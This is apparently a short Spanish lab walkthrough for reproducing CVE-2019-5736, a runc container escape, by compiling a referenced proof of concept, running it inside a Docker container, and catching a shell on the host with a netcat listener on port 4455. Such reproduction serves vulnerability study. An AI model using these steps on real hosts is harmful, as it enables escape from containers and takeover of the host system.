- (1). Compila el PoC de stage2.c y colócalo en el directorio designado.
- (2). Crea un DockerFile y ejecuta docker build -t cve .
- (3). Ejecuta docker run -d -t --name cvetest cve
- (4). Haz una copia de seguridad del runc del host con cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5). Accede al contenedor con docker exec -it cve /bin/bash.
- (6). Dentro del docker run ejecuta cd /root && ./run.sh && exit
- (7). En el host, ejecuta la escucha con nc -nlvvp 4455
- (8). Una vez completado el ataque, accede de nuevo con docker exec -it cve /bin/bash
Referencia: https://github.com/agppp/cve-2019-5736-poc